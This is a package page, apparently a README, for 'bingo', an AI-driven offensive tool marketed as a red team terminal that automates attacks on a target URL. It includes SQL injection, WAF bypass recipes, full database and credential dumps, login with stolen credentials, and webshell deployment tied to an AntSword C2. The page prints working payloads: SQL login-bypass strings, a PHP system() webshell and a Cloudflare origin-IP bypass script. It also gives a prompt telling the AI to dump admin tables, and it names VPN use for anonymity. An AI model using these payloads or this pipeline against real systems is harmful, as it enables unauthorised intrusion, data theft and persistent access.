AI-powered red team terminal — Zero-Hallucination · WAF bypass · XSS·Upload·SSRF·OAuth·GraphQL·Smuggling exploit chains · multi-model · multi-language
Project description
bingo
AI-Powered Red Team Terminal
🌐 Language: English · 한국어 · 中文
DeepSeek · Claude · GPT · GLM · Qwen · Ollama · Custom
Install
pip install bingo-ai
bingo
Update:
bingo --update
Git clone:
git clone https://github.com/bingook/bingo.git
cd bingo && bash install.sh
Windows (PowerShell as Admin):
irm https://raw.githubusercontent.com/bingook/bingo/main/install.ps1 | iex
Quick Start
bingo # Launch
bingo scan https://target # Auto full scan
bingo --version
bingo --reset
First launch: select language → enter API key → start.
How to Use
Just type your target and task in the chat window. No commands needed.
Example prompt (paste into bingo):
Target: https://example.com
Tasks:
1. Full recon — detect WAF, DB type, tech stack
2. SQLi — error → union → blind → time-based
3. Admin credentials — dump admin/user/member tables
4. Admin login — screenshot proof
5. DB full dump — run DbDumper on success
Just describe what you want. AI decides everything automatically.
Core Capabilities
| Area | What bingo does |
|---|---|
| Recon | WAF detection, tech fingerprinting, crawl all pages/JS/API endpoints |
| SQLi | Error-based → Union → Boolean blind → Time-based (all DB types) |
| WAF Bypass | Cloudflare / AWS WAF / ModSecurity — auto-selected bypass |
| XSS | Stored / Reflected / DOM — session hijack on success |
| SSRF | Cloud metadata (AWS/GCP/Azure) endpoint testing |
| File Upload | Extension bypass, webshell upload |
| Auth Attack | Login brute force, SQLi auth bypass, CAPTCHA auto-solve |
| IDOR/BOLA | Object ID enumeration, horizontal privilege escalation |
| JWT/OAuth | alg:none, weak secret, redirect_uri abuse |
| GraphQL | Introspection, batch attack, field injection |
| HTTP Smuggling | CL.TE / TE.CL desync |
| Credential Dump | Extract hashes → suggest hashcat command |
| DB Dump | Full table dump on confirmed SQLi (DbDumper v2.7) |
| Screenshot | Admin panel auto-screenshot via Playwright |
| Report | Auto-saved markdown report with CVSS scores |
Supported AI Models
| Provider | Example models |
|---|---|
| OpenAI | gpt-4o, gpt-4-turbo, o1 |
| Anthropic | claude-3-5-sonnet, claude-opus-4 |
| DeepSeek | deepseek-chat, deepseek-reasoner |
| GLM | glm-4, glm-5 |
| Qwen | qwen-max, qwen-plus |
| Ollama | any local model |
| Custom | any OpenAI-compatible endpoint |
WAF Bypass — Auto Selected
| WAF | Bypass used |
|---|---|
| Cloudflare | Double URL encode → Unicode → UA spoof |
| AWS WAF | Encoding → SLEEP→subquery → XFF header |
| ModSecurity | Space/**/ → IF→CASE WHEN → mixed case |
| Nginx/OpenResty | %0a newline → comment → obfuscation |
| Chinese WAF | Null byte → overlong UTF-8 → function replace |
Anti-Hallucination — 4-Layer Guard
Every AI response is blocked unless it passes all 4 checks:
- Code block guard — rejects empty stubs, JSON plans
- Text intercept — rejects AI self-confessions
- Fake credential block — no credentials without HTTP proof
- Unproven conclusion block — no "SQLi confirmed" without code execution
Evidence labels in reports:
| Label | Meaning |
|---|---|
✅ VERIFIED |
Real HTTP response confirmed |
🟡 LIKELY |
Partial evidence |
🔍 INFERRED |
Reasoning only — verify manually |
bingo scan — Full Auto Pipeline
bingo scan https://target.com
Runs 5 phases automatically, no interaction needed:
| Phase | What happens |
|---|---|
| 1. Recon | Tech fingerprint, WAF detect, endpoint map |
| 2. Collect | Admin panels, sensitive files, parameter discovery |
| 3. Test | SQLi / LFI / XSS / SSRF / IDOR probing |
| 4. Exploit | WAF bypass, data extraction, credential dump |
| 5. Report | Markdown report with CVSS scores + evidence |
Report saved to: ~/.config/bingo/reports/report_<domain>.md
Commands
Type / in the chat to open command menu (arrow keys to navigate).
| Command | What it does |
|---|---|
/scan <url> |
Full red team pipeline |
/waf <url> |
WAF detection + bypass only |
/crack [hash] |
Hash crack — online lookup → offline |
/stop |
Stop running task |
/tools |
Show all tools + install status |
/tools install <name> |
Install a specific tool |
/tools install all |
Install all missing tools at once |
/model |
Add or switch AI model |
/skill <keyword> |
Search skill knowledge base |
/history |
View conversation history |
/export |
Save conversation as .md |
/config |
View current settings |
/lang |
Change language (ko / zh / en) |
/clear |
Clear screen |
/quit |
Exit |
Tool install examples:
/tools # See all tools
/tools install nmap # Auto-install nmap
/tools install nuclei ffuf # Install multiple
/tools install all # Install everything
Hash crack examples:
/crack # Auto-extract from last response
/crack $2y$10$Eix... # Crack specific hash
/crack -w ~/rockyou.txt # Custom wordlist
Config & Data Storage
| Path | Content |
|---|---|
~/.config/bingo/config.json |
API keys, model, language |
~/.config/bingo/reports/ |
Auto-saved scan reports |
~/.config/bingo/sessions/ |
Chat session history |
~/.bingo/tools/ |
Auto-downloaded Go tools |
BINGO_REPORTS_DIR |
Override report path (env var) |
Config file locations by OS:
| OS | Path |
|---|---|
| macOS | ~/Library/Application Support/bingo/config.json |
| Linux | ~/.config/bingo/config.json |
| Windows | %APPDATA%\bingo\config.json |
Mobile — APK / IPA Analysis (v2.2.8)
bingo can analyze Android APK and iOS IPA files directly from the chat window.
Android APK
# In bingo chat
bingo> analyze target.apk
bingo> target.apk secret scan
bingo> pentest com.example.app
| Method | Speed | Command |
|---|---|---|
| TruffleHog native | ⚡ 9× faster | bingo> target.apk trufflehog |
| jadx full decompile | Thorough | bingo> target.apk jadx full scan |
CLI / Python:
trufflehog filesystem target.apk --json --no-verification
# Docker (no install needed):
docker run -v $(pwd):/work trufflesecurity/trufflehog:latest filesystem /work/target.apk --json
Install TruffleHog:
brew install trufflesecurity/trufflehog/trufflehog # macOS
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin # Linux
iOS IPA
# In bingo chat
bingo> analyze target.ipa
bingo> ios swift decompile target.ipa
bingo> malimite target.ipa
Requires: Java 17+ and Malimite.jar
brew install openjdk@17
# Download Malimite.jar from https://github.com/LaurieWired/Malimite/releases
mkdir -p ~/tools && mv ~/Downloads/Malimite.jar ~/tools/
java -jar ~/tools/Malimite.jar target.ipa --output ./decompiled/
trufflehog filesystem ./decompiled/ --json --no-verification
Auto-detect (APK or IPA)
bingo> auto scan target.apk # AI picks the right method automatically
bingo> auto scan target.ipa
What bingo extracts
| Item | Detail |
|---|---|
| Hardcoded secrets | AWS keys, Google API, Firebase, Stripe, JWT, GitHub token |
| Permissions | All declared + dangerous permissions |
| Exported components | Activities, Services, Receivers, Providers |
| Deep links / URL schemes | Intent filters, custom scheme handlers |
| Network endpoints | API URLs extracted from code + assets |
| SSL pinning | Detected → bypass guide auto-generated |
| 3rd party SDKs | Firebase, Sentry, Analytics, etc. |
Windows EXE — Standalone Build
Build a portable .exe that runs without Python installed:
pip install pyinstaller
pyinstaller --onefile --name bingo bingo/__main__.py
# Output: dist/bingo.exe
Copy dist/bingo.exe to any Windows PC — no Python required.
Run: bingo.exe or bingo.exe scan https://target.com
EXE Phase 0 — Windows PE Analysis (v2.3.5)
Analyze Windows executables (EXE / DLL / SYS) without running them.
# In bingo chat
bingo> analyze malware.exe
bingo> pe static analysis sample.dll
bingo> check this exe: payload.exe
| What bingo checks | Detail |
|---|---|
| Architecture | x86 / x64 / ARM, compile timestamp |
| Section entropy | >7.0 = packed/encrypted/obfuscated |
| Import table | 30+ suspicious Windows APIs by attack category |
| Strings | C2 URLs, hardcoded IPs, API keys, mutex names, Base64 blobs |
| Packer detection | UPX, Themida, VMProtect, MPRESS, ASPack |
| Digital signature | Authenticode validity check |
| YARA scan | Built-in rules + custom rule file support |
| Risk score | AUTO: LOW / MEDIUM / HIGH |
| Hashes | MD5, SHA1, SHA256, ImpHash, SSDeep |
| VirusTotal | Optional hash lookup via VT API |
Post-Exploitation — Webshell Deploy (v2.2.5)
After confirmed SQLi, bingo runs the full post-exploit chain automatically:
Chain: SQLi login bypass → file upload → webshell → AntSword connect
# In bingo chat — just describe the goal
bingo> I have SQLi on https://target.com/login — get admin access and deploy webshell
bingo handles each step:
| Step | What happens |
|---|---|
| 1. SQLi auth bypass | admin'-- / ' OR 1=1-- injected into login form |
| 2. Session capture | Auth cookies saved automatically |
| 3. File upload | Webshell uploaded via authenticated upload endpoint |
| 4. Webshell test | id, whoami, uname -a executed to confirm RCE |
| 5. AntSword config | Connection string printed for AntSword C2 |
| 6. DB full dump | DbDumper runs automatically after shell confirmed |
Webshell types auto-selected:
| Backend | Webshell |
|---|---|
| PHP | <?php system($_GET['cmd']); ?> |
| JSP | Runtime.exec() shell |
| ASPX | ProcessStartInfo shell |
DB Dump (v2.9.3)
Triggered automatically after confirmed SQLi / webshell / RCE:
- Dumps:
member/user/admin/g5_member/xe_member - No row limit — entire table dumped regardless of size
- Saves credentials →
CREDENTIALS_{table}.json - Detects hash type → prints
hashcat -m {mode}command - Re-attempts admin login with extracted credentials
Save location (auto-detected by OS):
| OS | Path |
|---|---|
| macOS | ~/Desktop/dump/{target}_{timestamp}/ |
| Windows | ~/Desktop/dump/{target}_{timestamp}/ (OneDrive Desktop auto-detected) |
| Linux | ~/Desktop/dump/{target}_{timestamp}/ (falls back to ~/dump/ if no Desktop) |
Cloudflare Bypass (Real IP Discovery)
import requests, urllib3
urllib3.disable_warnings()
REAL_IP = "x.x.x.x" # from SPF/DNS records
s = requests.Session()
s.verify = False
r = s.get(f"https://{REAL_IP}/", headers={"Host": "target.com"})
Find real IP: dig TXT target.com → look for SPF record IP.
Changelog
| Version | Summary |
|---|---|
| v2.9.3 | DB dump: no row limit + Desktop save path (macOS/Windows auto-detect) |
| v2.9.2 | CMS bias fix — fresh detection per target, zero assumptions |
| v2.9.1 | Bug fixes: variable substitution, warning spam, false positives |
| v2.9.0 | 11 new modules: HTTP smuggling, GraphQL, OAuth/JWT, Playwright, alerts |
| v2.8.0 | SQLi engine overhaul — sqlmap-level precision |
| v2.7.0 | Auto DB dump on successful breach |
| v2.3.0 | Burp Engine — full Repeater/Intruder/Scanner in pure Python |
| v2.2.0 | Pentest Precision Engine — WAF bypass, CAPTCHA OCR |
| v2.1.0 | API fuzzing, post-report interactive actions |
Languages
/lang # Switch language in chat
| Language | Code |
|---|---|
| English | en |
| 한국어 | ko |
| 中文 | zh |
Requirements
- Python 3.10+
- API key for at least one supported model
- (Optional) VPN for anonymity — auto-detected and displayed
Contributing
git clone https://github.com/bingook/bingo.git
cd bingo && bash install.sh
Pull requests welcome. Open an issue first for major changes.
License
MIT © 2026 bingook
Type your target. bingo does the rest.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file bingo_ai-2.9.3.tar.gz.
File metadata
- Download URL: bingo_ai-2.9.3.tar.gz
- Upload date:
- Size: 4.0 MB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
04007f7ca1ad125cb585c8797f43d2c67b4a61e2af387a6c91dcc68ee8b8cfc9
|
|
| MD5 |
6d6c248a80a912f36aa356022fb82181
|
|
| BLAKE2b-256 |
432624b896eaec71ab98f1fff0093730a82a11f6a6405708ea2a2def1076dcee
|
File details
Details for the file bingo_ai-2.9.3-py3-none-any.whl.
File metadata
- Download URL: bingo_ai-2.9.3-py3-none-any.whl
- Upload date:
- Size: 1.7 MB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
de9d630ba8dfa30ae9f32ea2e7c8ea17edacdbb7d172ed83dec9e61b30c3e94d
|
|
| MD5 |
cf53d2dc372b2af42da1f1d200a54df0
|
|
| BLAKE2b-256 |
ec96eb064c020379316730c46152f05d6680e5f4a43c460cbd1142d8437dd028
|